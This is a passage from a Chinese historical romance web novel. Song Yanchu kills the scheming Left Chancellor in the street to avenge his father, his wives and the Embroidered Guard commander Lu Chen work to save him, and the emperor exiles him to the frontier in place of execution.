陆思云看着这样的宋晏初，觉得非常陌生，心中的不安正在一点点上升。
以前的宋晏初，虽然总是一本正经、不苟言笑，好似他什么都不放在眼里。
但他却不会露出这般狠厉的表情。
她理解父亲遭到奸人所害，他心中的愤恨。
可是她也担心，现在的宋晏初被仇恨冲昏头脑，会失去理智失去判断，做出什么不可挽回之事。
陆思云的担忧不是毫无道理。
办理好宋怀明的身后事，宋晏初便回到大理寺，然后没日没夜的开始调查傅宏逸。
陆思云看着他逐渐陷入疯狂，谁的话都听不进去，开始害怕起来。
他看上去已经走火入魔，脑子里只有将杀死自己父亲的真正凶手抓出来，为父报仇。
他不听任何劝诫，也拒绝任何的沟通。
那日在灵堂，他说他想明白了。陆思云绝望地发现，其实他根本没有想明白，而是把自己陷入了另一个深渊。
莫婉晴也觉察出了不对劲，在与陆思云商讨之后，她眉头紧皱：“如果我们再不阻止夫君，我担心会出大事。”
“姐姐，我也是这样想的。但是眼下不听任何人的劝说，连我都不听。”
两人正一筹莫展之际，忽然外面刘管家面色苍白，连滚带爬地从里面跑进来，哆哆嗦嗦地说：“夫、夫人，不好了！不好了！少爷他……”
“他怎么了？”
“少爷他当街斩杀了左相，现已经被锦衣卫抓去了诏狱。”
“你说什么！？”
57.第 57 章
三日前的深夜，和亲王府。
一个身穿黑色斗篷的男人秘密进/入王府。
和亲王等在书房内，看着那黑衣斗篷的人进来，然后站定，缓缓脱下身上的斗篷，露出本来的面目。
“左相大人，深夜来找本王，还如此着急，到底所为何事？”
傅宏逸二话不说，在和亲王面前双膝下跪。
和亲王立刻将他扶起：“左相大人，您这是干什么？有话好说，不必行此大礼。左相于本王亦师亦友，助我成就大业，恩重如山。在本王面前，我从不要求你对我有这么多规矩。”
然而傅宏逸的脸上却没有一丝笑容，他眼含热泪看着和亲王，开口：“王爷，老臣恐怕，无法再辅佐您了，往后的路，殿下需独自前行。”
和亲王惊讶地问：“老师何处此言？”
“宋晏初自从父亲被杀后，便一直在调查老夫。他作为大理寺少卿，职权在身，要查到老夫身上，是轻而易举的事。”
“他这么快就发现宋怀明的死是老师所为？”
“宋晏初在大理寺的办案能力出众是出了名的，况且他父亲的死对他打击很大，带着报仇的心来调查老夫，来势汹汹，老夫担心会连累殿下，坏了殿下的宏图大业。”
“老师稍安勿躁，此事我们从长计议。我就不信他区区一个宋晏初，还能奈我何？”
“殿下有所不知，宋怀明与宋晏初这对父子，虽然表面上看着并不亲密，但实则他们的父子情十分深厚。如今我害死他父亲，他定是不会放过我，原本你与他只是互相拿捏，切中不了要害。现如今我们痛下杀手，他必定也不会善罢甘休。原本我们打算拉拢他，如若拉拢不得便除掉他。谁想不但没有除掉他，甚至还树立了他这样一个敌人，形势对我们实在不利。”
“那老师的意思，是打算怎么做？”
傅宏逸握住和亲王的手，嘴唇颤抖地说：“老夫从辅佐殿下的那一刻起，就做好为殿下赴汤蹈火的准备。如今正是到了这个时候，老夫义不容辞，愿意为成就殿下的宏图伟业而甘愿赴死！”
和亲王听了脸色大变，立刻反对：“万万不可啊老师！”
“殿下，老夫为你除掉了宋怀明，斩草要除根，必须要把宋晏初一起除掉，方才无后患。既然他想杀我，我就让他杀，他斩杀朝廷重臣，必定是诛九族的重罪。到时候殿下一定要在皇上面前极力弹劾他，让他绝无生还余地。”
和亲王震惊于傅宏逸的舍命付出，他作为当朝元老，德高望重，如果宋晏初当众杀了他，必定难逃死罪。
可是这样的代价实在太大，他实在不忍心看自己的老师赴死。
和亲王痛哭流涕，舍不得自己的恩师为了自己去送死。
“老师，我们再想想别的办法，一定还有别的办法可以除掉宋晏初，不必牺牲您的生命啊。”
傅宏逸含笑，他已下定决心赴死。
“殿下，这是最快的办法。如今朝堂之上，太子的势力与我们相比有过之而无不及。如果在这个时候，我们还有大理寺这个牵绊，那就是腹背受敌，对我们极其不利。老夫老了，本就想等殿下大业得成之时告老还乡，如今还能为殿下贡献这最后的力量，老夫万死不辞！”
和亲王深处颤抖的手抱住自己的老师，终于抑制不住内心的悲痛，痛哭流涕。
三日后，洛城最繁华的闹市街上。
宋晏初举剑对着傅宏逸，眼底尽是杀气。
“宋大人，您这是做什么？我可是当朝左丞相，位高权重，你这是要当街杀了我吗？”
宋晏初冷笑：“左相，你可还记得你如今的位置，是怎么得来的么？”
傅宏逸的脸色微变：“宋大人此话何意？”
“你诬陷方与淮通敌卖国的时候，你查抄方府，斩杀他们全族的时候，就应该想到，自己会有这样一天。”
傅宏逸愣了片刻，突然恍然大悟，用手指着他，脸上写满了震惊：“你……你……你是……”
“傅宏逸，你杀我父亲斩我族人，新帐旧账一起算，你死得不冤。”
说完，手起刀落，一剑将傅宏逸封侯。
血光四溅，四周立刻尖叫声一片。
宋晏初站在这喧闹的街市，一动不动，等着锦衣卫的人到来。
没过一会儿，陆琛便带着手下赶到。
看到躺在地上已经没有半点生气的傅宏逸，脸色立刻下沉，他走过去一把拉住宋晏初的衣襟，生气地地生吼道：“宋晏初，你知不知道你在做什么？”
宋晏初脸色平静地抬起头看向他：“陆大人，我已在此等候多时。”
“当街斩杀朝廷重臣，是诛九族的死罪，你难道不知道么？”
“我知道。”
“你知道你还这么做？你有没有想过你的家人？你的妻子？”
“陆大人请放心，我早就做好了准备。如果一会儿她们来找你，麻烦陆大人带她们来见我，我有话要对她们说。”
“宋晏初，你到底怎么想的？这不像是你会做出来的事。”
“陆大人，我们走吧。”
此时的宋府。
“你说什么？你再说一遍！”
陆思云觉得自己全身的力气不断被抽干，快要呼吸不过来。
刘管家哭着又将方才的话说了一遍。
陆思云这才意识到，刘管家说的是真的，他真的出事了。
她头晕目眩，险些昏倒。
幸好身后的莫婉晴及时扶住了她。
“妹妹先别慌，我们立刻去诏狱，找陆大人，问问他能否通融一下，让我们去见一见夫君，当面问他，这到底是怎么一回事。”
“姐姐说的极是，那我们现在就去北镇抚司。”
陆思云此时六神无主，拉着莫婉晴便要往外走。
莫婉晴知道她此时心里焦急万分，她自己也急。
宋晏初犯的这个事儿，如果严重来说可是会株连九族的。
两人来到北镇抚司，也许陆琛提前打过招呼，她们表明来意之后，门口的锦衣卫便立刻二话不说带她们进去。
见到陆琛，陆思云连礼数都顾不上了，上去就抓住了他的衣袖：“陆大人，夫君现在在何处？”
对于她的举动，陆琛虽然有些意外，但却并不恼怒。
“你们别着急，我现在立刻带两位夫人去见宋大人。”
陆思云和莫婉晴跟在陆琛身后来到诏狱。
虽然上次陆思云来过一次诏狱，但陆琛并未对她用刑，只是将她关了起来，没待多久又迅速被提回了尚书府，所以诏狱是怎样的，她根本就没心情去探究一二。
这次过来，与上次心境全然不同。
上次她知道自己清清白白、问心无愧，所以并不惧怕。
可这次自己的爱人当街斩杀朝廷重臣，这么大的罪名，陆思云不知道后果会是如何，她也不敢去想后果。
陆琛将他们带到关押宋晏初的门口，停下了脚步：“他就在里面。”
陆思云毫不犹豫地便跑了进去。
莫婉晴站在他面前，欲言又止。
陆琛眼神温柔，轻声鼓励道：“进去吧。”
她这才抬脚走了进去。
陆琛站在
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门口，低头看着地上，面无表情，不知道在想些什么。
陆思云看到双手双脚全都戴着黑色镣铐，穿着白色囚服坐在那里的宋晏初，瞬间红了眼眶。
“晏初！”
她那意气风发的少年郎，如今却变成了阶下囚，这让她如何不心痛。
听见声音，宋晏初抬起头，看到她们二人，原本灰败的眼底闪烁着一丝光亮。
他起身走过来，二人隔着铁栏杆，握住了对方的手。
宋晏初看着面前满脸愁容的陆思云，又看了眼身后站着的泪眼婆娑的莫婉晴，心里十分愧疚。
“连累了你们，真的对不起。”
“到底是怎么回事？”
“事情就如你们听到的那样，我当街斩杀了傅宏逸，为父亲报仇。”
“不会的，这不像你会做的事，你是不是还有别的非这么做不可的原因没有告诉我？”
陆思云不相信宋晏初会是这样冲动的人。
“无论是何原因，结果已经注定。”
莫婉晴走上前，盯着他，认真地说：“夫君可曾想过，也许傅宏逸是故意引你上街，让你犯下如此重的罪，想要置你于死地，这样才能让和亲王彻底没有后顾之忧。”
宋晏初垂眸想了想，然后抬头：“就算如此，我也并不后悔这样做。”
“斩杀朝廷重臣，是株连九族的重罪，你会死的！”
陆思云不可置信地看着他，为何他为了报仇可以这样不顾一切，不顾自己的性命，也不顾及她。
宋晏初从怀中掏出两张纸，分别递给了她们二人。
陆思云狐疑地接过，当看到纸上“和离书”三个大字，拿着信的手便忍不住颤抖了起来。
“我已经写了和离书，现在交于你们。从这一刻起，你们便不再是我宋晏初的妻子，从此你们便是自由之身，我的罪责不会连累你们。”
陆琛站在门口，听到宋晏初的话，脸上露出诧异的神情。
他没想道，宋晏初所说的“准备”，竟然指的是这个。
陆思云看着手中的和离书，一脸不可置信地看着他，颤抖地问：“你这是……要同我和离？”
“我不想连累你。”
随后，宋晏初看向她身后的莫婉晴，诚恳地说：“婉晴，这段时间辛苦你了。府上如果没有你，那将是一团散沙。我也知道你与陆大人情投意合，原本我和思云早就想要成全你们。只是一直找不到放你自由的机会。你自入门以来，我也没能好好照顾你，反倒是经常让你为我们操劳，我为此深感愧疚。如今借此机会，我还你自由，希望你以后能和陆大人有情人终成眷属。”
莫婉晴看着手中的这封和离书，眼含热泪，没有半点欣喜之色。
她默默将和离书放进衣襟中，然后抬头看向宋晏初，坚定地说：“夫君的这封和离书，我暂且收着。但是夫君与思云妹妹的事情，我也不会坐视不管。我们虽然相处的时间不长，但却经历过风雨，在婉晴心中，你们早就如同我的家人，我是绝对不会不管你的死活的。你与思云妹妹一定还有话要说，我先不打扰。”
莫婉晴说完，便转身离开，将空间留给她们二人。
当她一边流泪一边走到门口的时候，与陆琛打了一个结结实实的照面。
陆琛的脸上，也并没有莫婉晴恢复自由身后的喜悦，而是满脸担忧地看着她。
方才他们的那些话，他自然一个字不落的全部听到了。
他也知道莫婉晴绝对不会不管他们，不然就不是他陆琛认识的那个莫婉晴了。
“陆大人，能否借一步说话？”
58.第 58 章
陆思云泪眼婆娑地看着宋晏初，质问：“你当真要同我和离？”
宋晏初握住她的手：“思云……”
“在你心中，我就是只能共富贵，不能共患难的人，对么？”
“我从未这样想过你。”宋晏初下意识地反驳。
“那你同我和离？”陆思云举起手里的和离书吼道。
她快气炸了！
这个男人一意孤行，做出这样无可挽回的事，现在又说不想连累她，要与她和离。
要不是他们之间有牢笼挡着，她真想把眼前的男人暴打一顿。
“我已难逃一死，我不能连累，要你同我一起赴死。”
“当日你在蝴蝶谷，跟我说喜欢我，会永远陪着我。你自己说过的话你都忘记了吗？”
“我没有忘……”
“那你决定做这件事之前，为何不想想我呢？为何不想想你为了替父亲报仇不计后果，不在乎自己的生命，你可有想过失去你我要在呢么生活？你觉得父亲在天之灵，会想要看到你用这样的代价来为他报仇吗？”
宋晏初哑口无言。
“既然你娶了我，我们是夫妻。夫妻就应该同生共死。”
“思云，你不必如此。”
“这是我心甘情愿的，没人逼我。宋晏初你听好了，从我来到这个世界，我就是你的妻子，那我这一辈子便都是你的妻子。你生我生，你思我陪你一起死。”
说完，陆思云毫不犹豫地，将手中的和离书，当着宋晏初的面，撕成碎片。
宋晏初怔怔地看着她将和离书撕碎，看着碎片一片片地在他们中间飘落在地上。
他心中的震撼无法用语言来形容。
陆思云重新握住他的手，柔声道：“我和莫姐姐一定会想办法救你，你等我。”
两人隔着铁栏，将额头靠在一起，紧闭双眼，感受着对方的体温。
------
陆琛带着莫婉晴来到前厅。
“宋夫人有何话，在这里说便可。”
莫婉晴二话不说，便跪倒在他面前。
陆琛惊讶对后退了半步：“你、你这是做什么？”
“我知道夫君犯了滔天大罪，我也知道锦衣卫只管抓人，其余的不在你的职责范围之内。但是我还是想恳请陆大人，救救夫君。”
“你左一句‘夫君’，又一句‘夫君’，如果我没记错，方才宋晏初已经将和离书给了你，而你也接了。从这一刻起，你便不再是宋家大夫人 ，你……”
莫婉晴抬起头，打断道：“所以呢？就算我现在已经和他没有关系，我就要眼睁睁地看着他和星然妹妹去死吗？”
陆琛默然，他知道莫婉晴是一位重情重义之人，而自己也是欣赏她这一点，才会对她情根深种。
见他沉默不语，莫婉晴继续说：“就算看在我的份儿上，能不能救救他？”
陆琛眼睛微眯：“你的份上？你现在是以什么身份在求我？”
莫婉晴缓缓起身，抬头看向他，一脸平静：“虽然我拿了夫君写的和离书，但是这封和离书我并未公布，在外人看来，我依旧是他的妻子，大理寺少卿的大夫人。如果他有个什么万一，我和星然妹妹都会陪着他一起赴死。”
听见“赴死”二字，陆琛一脸不可置信，随即他的脸色沉了下来。
“你是在威胁我？”
莫婉晴垂眸不看他，低声道：“我只是在赌。”
赌你，舍得让我赴死。
陆琛盯着她，良久，他无奈地叹了口气。
“你且回去等我消息。”
听他这样说，就知道他是愿意帮忙，莫婉晴心中暗暗松口气。
同时内疚感油然而生。
她用自己逼他出手帮忙，把他拉下这个浑水，莫婉晴自己也知道实在卑鄙至极。
可是现在她已经想不出别的办法。
她能想到的，就只有求陆琛。
陆思云和莫婉晴失魂落魄地回到宋府，碧水和翠柳两个丫头立刻迎了过来。
“夫人，你们可算回来了。姑爷怎么样了？”
“姑爷真的当街杀人了吗？”
“姑爷不会有事吧？”
“我们会不会被抄家啊。”
“我们现在应该怎么办啊？”
……
两人你一言我一语，不听地询问着她们宋晏初的情况。
但是陆思云与莫婉晴各自有各自的烦恼，没人理会她们，任由她们在耳边叽叽喳喳了一路。
这样的夜晚，二人全都没办法入睡。
陆思云来到兰熙苑找莫婉晴，她们坐在院中，相对无言。
谁的心里都不好受，却又觉得无能为力。
“方才，我已经当着夫君的面，将和离书撕毁。”
陆思云突然开口，然后她发现莫婉晴并没有露出惊讶的神情：“姐姐为何一点都不惊讶？”
“因为我知道，妹妹一定会这么做。”
陆思云露出今晚第一个笑容：“还是姐姐懂我。如今夫君已将和离书写与姐姐，姐姐便可离开宋府，天高海阔任尔飞翔。不要再管我们的事了，我不想连累了姐姐。”
莫婉晴一把抓住她的手：“妹妹怎么能说出如此的话。夫君虽然写了和离书，但我并未公开，对外我依旧是宋家的一份子，你们不能就这样把我排除在外。”
“姐姐，我是认真的。夫君犯的可是诛九族的大罪！倘若你不公开这份和离书，圣旨下来，你我都将一起入狱。姐姐心有所属，又心存志向，万万不能被我们连累了。”
“我心存志向，难道妹妹没有鸿鹄之志吗？我记得刚认识妹妹的时候，在这个女子无才便是德的世道，妹妹敢为了自己的理想，不顾世人的眼光，用自己的能力告诉所有女子，我们女人也可以撑起半边天。可如今妹妹却甘愿这样结束自己的这一生吗？”
“不甘愿又能如何？晏初当街斩杀当朝丞相，就算皇上能网开一面，朝廷上的大臣么又如何能放过他？和亲王必定会借此大做文章，置他于死地。”
“妹妹也知道，他是被设计的。和亲王就是要他当街弑杀大臣，这样才能有理由在皇上面前弹劾他。既然是被设计陷害，我们就必须要救他。”
“如何救？”
“我已经求陆琛去见圣上，现在只有圣上改变心意，才能免了宋晏初的死罪。”
“可是姐姐为何肯定，一个锦衣卫指挥使就能让圣上改变心意？”
“光是他一人是不够的，我明日便回莫府找父亲出谋划策，妹妹也去找楚将军，大家一起想想法子。”
有了莫婉晴的建议，陆思远心中的忧虑便消散了不少。
现在不是泄气的时候
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就算机会渺茫，也要尽可能的试一试。
哪怕有一丝的希望，她都要救宋晏初。
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自从嫁给宋晏初，莫婉晴便很少回莫府。
一开始是因为自己重生回来，带着上一世的记忆，总觉得对不起莫家，无颜见父母。
后来自己受到陆思云的鼓舞振作起来后，便一直忙于府中事务，鲜少有时间回娘家。
最近一次与父母的见面，也不过是吏部尚书的寿宴上那匆匆一面。
想不到，再次回到莫府见父母，居然是为了宋晏初的事。
莫府的管家见了他，非常高兴：“大小姐，您来啦！我去通报一声，老爷和夫人知道您回来，一定非常高兴。”
莫婉晴心情沉重地跟着管家进了里屋。
府中的一草一木还跟她刚出阁时一模一样，让她甚为怀念。
来到里厅，莫婉晴见到自己的父亲和母亲，立刻便跪了下来。
“父亲，晴儿实在走投无路，才来求父亲救救夫君。”
见女儿下跪，徐氏的眼眶立刻泛红。
宋晏初当街弑杀左相之事，早就已经闹得满城风雨、人尽皆知。
这几日，莫中堂也在为此事操心。
无论如何，宋晏初是他从小看着长大的，孩子什么心性，他自是非常了解。
对于宋怀明这位老友的去世，他也觉得悲痛惋惜。
只是他万万没想，宋晏初为了替父报仇，竟然当众斩杀了傅宏逸，实在太过冲动草率，不像他本人做事风格。
不管莫中堂有多么不认同女婿的作为，但他终究是自己女儿的夫君，如果他出事，莫婉晴也会跟着一起遭殃，祸及家人，他无论如何都得出手。
莫中堂将女儿扶起，让她坐着说话。
“晏初的事，我们都听说了。老夫没想到他做事如此不计后果。”
“此事恐怕夫君是入了别人的圈套。”
“此话怎讲？”
“之前夫君一直受和亲王拉拢，但夫君并不想成为和亲王一派，便与他周旋。和亲王见拉拢不成，便想除掉夫君，几次都差点得逞。幸好夫君福大命大，几次都度过劫难。于是他们便对公公下了手。公公与夫君父子情深，公公的死对夫君打击很大，让他失去理智。傅宏逸故意选在闹事让夫君杀了自己，就是要将此事闹到不可挽回的地步，以自己性命来置夫君于万劫不复之地。”
听了莫婉晴的分析，莫中堂的脸色更加凝重。
如是和亲王的陷害之计，那恐怕事情比他想象的还要麻烦。
莫婉晴当然知道这件事十分棘手，如若不是超出她的能力范围，她定然不会来求助父亲。
“明日早朝，我会在陛下面前，为晏初据理力争，赢得一线生机。”
莫婉晴立刻起身行礼：“多谢父亲。”
徐氏看着女儿为自己夫君奔波，内心很是心疼，却知自己无能为力，倘若宋晏初被判斩首，只怕自己的这个女儿也保不住。
想到此处，她便觉得自己心如刀割。
莫婉晴看着自己父母悲痛欲绝的模样，知道他们是担心自己的安危。
但她终究没把自己已与宋晏初和离之事告诉二老。
她担心告诉了父亲，父亲明日便会有所顾及，不肯为了宋晏初而拼尽全力。
59.第 59 章
第二天的早朝。
文宣帝一坐下，和亲王便立刻站出来，厉声道：“启禀陛下，臣有本上奏。”
文宣帝的脸色极其不好。
宋晏初在闹市街斩杀当朝左相的事，闹得人尽皆知。
他作为一国之主，又怎会不知道这件事。
震惊之余，他也费解。
两人此前并无太多交集，宋晏初为何突然这样做。
他也预料到今日朝堂之上，必定有人借此事大做文章。
这不刚坐下，就来了。
“是为了左相一事么？”
“正是。宋晏初他作为大理寺少卿，知法犯法，当众斩杀朝廷重臣，论罪当诛！请陛下圣裁！”
莫中堂走出来说道：“陛下，老臣以为，以宋大人的为人，断不会无端这么做，此案必定有隐情，还望陛下查清此事。我们已经损失了一名朝廷重臣，切不能再顿时一名国之栋梁。”
和亲王冷笑地回身反驳：“莫大人作为宋晏初的岳丈，自然会替他说话。”
莫中堂不甘示弱地回道：“老夫只是实话实说。左丞相作为王爷的恩师，他被害王爷怒不可歇想要严惩凶手，这无可厚非。但是大理寺卿宋怀明宋大人前几日刚在府中遇刺，没过多久左丞相就在街头被宋晏初当众杀死。这很难不让人联想到，这其中的关联。晏初这个孩子，是我看着长大的，他的人格品性我是一直都看在眼里，倘若他不是一个为人正直的孩子，我又怎会将我最宝贝的女儿嫁予他做妻子？老夫愿以自己头上上乌纱做担保，此案定有隐情，还望陛下明察！”
“太子，你以为呢？”
一直都站在一旁的太子被点名后，站出来直言：“父皇，孩儿也觉得此事应该仔细查清楚，不能就这样草率地就治宋大人的罪责。”
“陛下！无论是什么原因，他宋晏初就可以当街斩杀朝廷重臣吗？如果人人都有理由可以随意杀人，那要法律有何用？傅丞相可是大玄宣国的元老，如今却死在一个小儿手下。如果今日陛下不严惩凶手，那才是寒了在座所有为官者的心，寒了天下百姓的心啊。”
“你们都给寡人住口！”
文宣帝被他们吵得脑壳疼，忍不住发怒道。
众人连忙跪下：“皇——上——息——怒——”
文宣帝坐在龙椅上，沉思了片刻。
他心里也很是为难。
对宋晏初，他欣赏也惜才，实在不忍心就这样给他一个斩立决。
可他做的这个事，确实必须得给大家一个交代，不然没办法服众。
和亲王又步步紧逼，其中的玄机，作为皇帝，他也并不是全然不知。
“这个案子，就交由刑部和监察司一起查办。”
这个结果和亲王显然是不满意的，他恨不得皇上现在立刻下旨斩了宋晏初，不然他的老师岂不是枉死。
“陛下，臣觉得此事不妥……”
“怎么？和亲王是想替寡人做主？要不寡人这个位置，你也一并拿去了如何？”
和亲王脸色微变，立刻下跪：“臣惶恐。”
退朝之后，文宣帝气哄哄地来到御书房，陆琛已经在那等候多时。
见了他，文宣帝的脸色并没有好转。
“你来干什么？是不是也是为了宋晏初而来？”
陆琛弯腰不语。
文宣帝看他的样子，就知道自己猜对了大半，不觉冷笑了一声：“你们一个个的，都这么关心他的事，这倒让寡人有些好奇。这宋晏初到底是有多大的能耐，能让你们一个个的，都站出来替他说话？”
“陛下，微臣这次前来，并不只是为宋大人求情，而是有事要禀奏陛下。”
“哦？什么事？跟寡人还要卖什么关子？”
“微臣查到，二十多年前，方与淮涉嫌通敌卖国被满门抄斩，是傅宏逸故意陷害。”
“你说什么？”
文宣帝没想到，陆琛居然会提前二十多年前的旧案。
陆琛不卑不亢地将证据呈上：“这是在傅宏逸府中密道里搜到的密信。二十年前，通敌卖国之人，是傅宏逸而非方与淮。方家满门，都是被冤枉的。”
文宣帝接过密信，手指忍不住微微颤抖着。
没想到二十年前的那件当朝丞相通敌叛国的案子，竟然是一件冤案。
但随即，他回过神来，沉声问：“这件事与宋晏初又有何关系？”
“宋晏初，便是方家唯一的遗孤。”
“你说什么？你再说一遍？”文宣帝再一次震惊。
陆琛如实回答：“二十年前，方与淮在被抄家之前，将刚出生没几日的幼子交付给宋大人。碰巧宋大人的夫人刚产子，但孩子剩下来没多久便夭折。他们便将方家遗孤视为己出，一手养大。”
“竟然有这等事？”
“陛下，虽然当年方家擅自将幼子托付给宋家，犯了欺君之罪。但看在方家是被冤枉的份上，还望陛下可以网开一面。”
“事情都过去这么久了，而且方与淮还是被冤枉的，这事寡人自然不会继续追究。”
得到皇上的赦免，陆琛才敢继续说接下来的话：“陛下，傅宏逸二十年前陷害方与淮，害的宋晏初全族都被斩首。当时还在襁褓中的他甚至都没有见过自己的父亲族人。幸得宋明怀呵护长大，可这唯一的温暖，也被傅宏逸害死。宋大人虽然当街将其斩杀，旁人看来是斩杀朝廷重臣罪不可恕。但实际上，他斩杀的却是陷害忠良、通敌卖国的罪人。”
文宣帝看着桌上的信件，眉头紧皱。
“你应该明白，傅宏逸是和亲王的恩师。他一直辅佐和亲王办事。傅宏逸这些年与敌国私通，你觉得和亲王知道多少？”
“臣不敢妄自非议王爷。只是如果陛下想知道这个答案，臣有一计。”
“说来听听。”
“傅宏逸通敌叛国虽然已是证据确凿，但臣以为此时不宜在此时公之于众。这样会打草惊蛇。”
文宣帝赞同地点点头：“你继续说。”
“如若不能将傅宏逸的罪行公之于众，那在外人看来，他依旧是朝廷的重臣，宋晏初杀了他，依旧是重罪。可实际上，宋晏初罪不至死。那不如就让他戴罪立功，去镇守边关。表面是戴罪立功，平定边关战乱，实则让他暗中调查此事。陛下以为如何？”
文宣帝听了陆琛的建议，脸上立刻露出满意的神情：“甚好，甚好啊！”
见到陛下同意了自己的建议，陆琛原本紧绷的脸这才松懈了下来。
他回想起昨天夜里，宋晏初与自己谈话的场景。
在诏狱内，陆琛站在牢房之外，问：“明日早朝，和亲王便会弹劾你，让皇上定你死罪，你便准备这样等死么？”
“陆大人今夜不来找我，我也打算让人去叫你过来。”
“你可是有了办法？”
“陆大人还记得前任左丞相方与淮么？”
“自然记得。虽然他在朝为官时，我还未出生，但我也听别人提起过他的事迹。为何突然提到他？”
“我是他最小的儿子。”
“什么？”陆琛难得的脸上露出了震惊的神情：“你的意思，宋怀明不是你的亲生父亲？”
“是。当年我生父被诬告通敌卖国，全族被斩。而我的生父将我这方家唯一的血脉托付给父亲。”
“你说是诬告？被何人污蔑？”
“傅宏逸。”
“可有证据？”
“我没
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有证据。”
听见他说没有证据，陆琛立刻像泄了气的皮球。
宋晏初继续说：“但是我认为，傅宏逸的府中一定有他与敌国来往的书信。”
“所以你希望我怎么做？”
“我想请你连夜搜查傅宏逸的府邸，找出密信，然后交给陛下。”
“这样一来，你的身世就会被陛下所知。你就不怕陛下再给你加一个欺君之罪？”
宋晏初却是一脸笃定：“陛下如若知道当年他判错案，使得我方家满门抄斩，而我又是方家唯一血脉，出于愧疚，我相信陛下也不会追究我的欺君之罪。”
“如若我能找到书信，交于陛下，那就能证明傅宏逸才是真正通敌卖国的罪人，这样你斩杀的就不是朝廷重臣而是奸人，皇上自然没理由处置你了。
然而宋晏初却并不赞同他这样做：“如果你真的能找到傅宏逸通敌叛国的罪证，交于陛下，但却要劝说陛下不要将此信件公之于众。”
“为何？”
“傅宏逸是和亲王的人，他通敌叛国是为了谁？你觉得和亲王一点关系都没有？如果陛下将傅宏逸通敌叛国的事情公开，那和亲王必定会有所防备。傅宏逸已经死了，治了他的罪又能如何？不过就是连累他的家人陪他一起死。可是这样和亲王就会逍遥法外，大宣国的危机依旧没办法解除。”
“那你想怎么做？”
“你说服陛下，让我戴罪立功，派我去平定边境霍乱。我自然会帮陛下暗中查探，搜集和亲王通敌叛国的罪证。到时候等我拿到证据，再回朝将罪证摊在他面前，我看他还有何话要说。”
陆琛愣住，他没想到，宋晏初竟然是做的这个打算。
“你堂堂大理寺少卿，要去镇守边关？你知道边境是什么地方么？那里条件艰苦，是个不折不扣的苦寒之地。”
宋晏初的脸上却没有半点畏惧之色：“如果能为大宣国铲除奸臣，让我去边关带兵打仗又如何？我从不惧怕危险困难，我只怕这世间再无‘公道’二字。”
“宋大人的一番胸襟，让陆某佩服。”
“我去边关的这段时间，还望陆大人多多照拂我的家眷。”
“宋大人请放心，陆某定会竭尽全力。事不宜迟，我现在就带人去搜查傅宏逸府，你且在此等我好消息。”
“有劳陆兄。”
陆琛转身离开，没走两步又回了过来。
宋晏初略微诧异地看向他。
“等你回来，陆某想与宋兄痛饮一杯，宋兄可愿意？”
他叫他“宋兄”而非“宋大人”。
正如自己称呼他为“陆兄”而非“陆大人”。
这是不是就表示，他们如今已经是朋友了。
宋晏初笑着看向他，点头道：“一言为定。”
陆琛这才恢复了原本的面无表情，带着手下的锦衣卫连夜搜查了傅宏逸府邸。
能不能救宋晏初一命，全靠今夜能否搜初傅宏逸通敌叛国的书信。
索性，陆琛在傅宏逸书房的暗格里找到了他们想要的证据。
才能有如今的这一线生机。
没过几日，文宣帝便下旨，查封宋晏初的府邸，将他本人流放至边境。
和亲王对这道圣旨自然是一百个不满意，他跪在御书房门外三天三夜，请求面圣。
但皇上铁了心，愣是没有传见他。
直到他体力不支昏倒在御书房门外，皇上也只是为他传了太医诊治。
和亲王这才意识到，恩师以死换来的局，终究是没能换来置宋晏初于死地的结果，他实在是不甘心。
躺在床上的和亲王，眼底露出杀气。
既然让你流放边境，本王便要让你有去无回。
60.第 60 章
圣旨下来的那天，传圣旨的太监带着一群小太监来到宋府。
宣读完圣旨后，两个人还是懵的。
高公公微笑着对莫婉晴说：“宋大夫人，快接旨吧。”
莫婉晴和陆思云连忙道：“臣妇，谢陛下恩典！”
接过圣旨，高公公缓缓道：“夫人，恭喜你们。虽然宋大人被流放边疆，但总算是保住了性命。奴婢相信以宋大人的能力，待他在边境立下战功，就能回来与你们团聚的。”
“多谢高公公。”
“等会儿锦衣卫就会来查封宋府，各位赶紧收拾一下东西。”
“是。”
送走了高公公，陆思云还有些懵懵的，她问莫婉晴：“姐姐，流放的意思，是要去边境的苦寒之地吗？”
莫婉晴点点头：“夫君犯的是必死的大罪，如今皇上开恩，判他流放，已是不幸中的万幸。”
能够免于死罪，自然已经是最好的结果，不应该奢求太多。
可流放就意味着她将和宋晏初分开，天高地远，各在一方，不知何时再相见。
看出陆思云的失落，莫婉晴连忙宽慰道：“妹妹不要难过，夫君能保住性命已是万幸。只要活着，相信夫君能力超群，定可以有办法再回到皇城。”
陆思云点点头。
眼下只能这样，眼前还有许多人需要处理。
莫婉晴立刻将府上所有人全都聚集到前厅处，她现在前面，朗声对底下的人说：“最近发生的事想必大家早有耳闻，方才的圣旨相信大家也都听得清清楚楚。家主被判流放，宋府需要查封。我和二夫人何去何从，目前也没有着落。我们不强求各位必须跟随，现在将主动权交给你们自己。愿意留下的，他日有我莫婉晴一口饭吃的，绝不亏待。不愿意留下的，去账房多领一个月工钱，大门朝外各走东西，我绝不为难。”
陆琛带着锦衣卫来到门口，就听见莫婉晴喊声说着这些话，颇有当家家主的风范，不觉露出浅浅的微笑。
最终，整个宋府的下人只留下了两人的贴身丫鬟碧水和翠柳，还有刘管家以及管理账房的松萝。
松萝会留下，莫婉晴还是很欣喜的，可同时又有些费解。
以她的能力，出去谋生不成问题，跟着她们反倒是有些委屈她这个人才了。
“松萝，你为何不走。以你的算账能力，去大户人家做个算账先生，都好过跟着我们朝不保夕。”
松萝红着眼眶对莫婉晴说道：“松萝本来只是一个无父无母的野丫头，幸得大夫人赏识，这才能展现自己的特长。如果没有大夫人的栽培，松萝哪有如今的成绩。现在宋府有难，我岂能一走了之。松萝愿意永远追随大夫人，来报答夫人的知遇之恩。”
松萝的这番话，让莫婉晴湿了眼睛。
正是这种危难时刻，方能见到一个人的真心。
她含泪抱紧松萝：“好，以后我们就是一家人了。”
陆琛在门口看了会儿，便带着手下的人进了府。
见他进来，大伙儿的脸上都很平静，没有惧怕之色。
大概是因为中秋节时的相邀，让府里的人自动认为陆大人是宋家的朋友，朋友上门查封，总不至于太过暴力。
事实也确实如此。
“你们先收拾一下自己的行李，之后我们再进行查封。”
这大概是陆思云见过的最温柔的一次抄家。
她以为会像电视剧里拍的一样，跟强盗进家门似的，弄得乱七八糟。
这是谁的功劳不用想也知道。
于是她识相地退下：“那我们先下去收拾，莫姐姐你招待一下陆大人。”
门口只剩下陆琛和莫婉晴两个人。
两人的神情看上去都很轻松。
这个结果，已是他们要的最好的结果，所有人都很知足。
“谢谢你。”莫婉晴先开口。
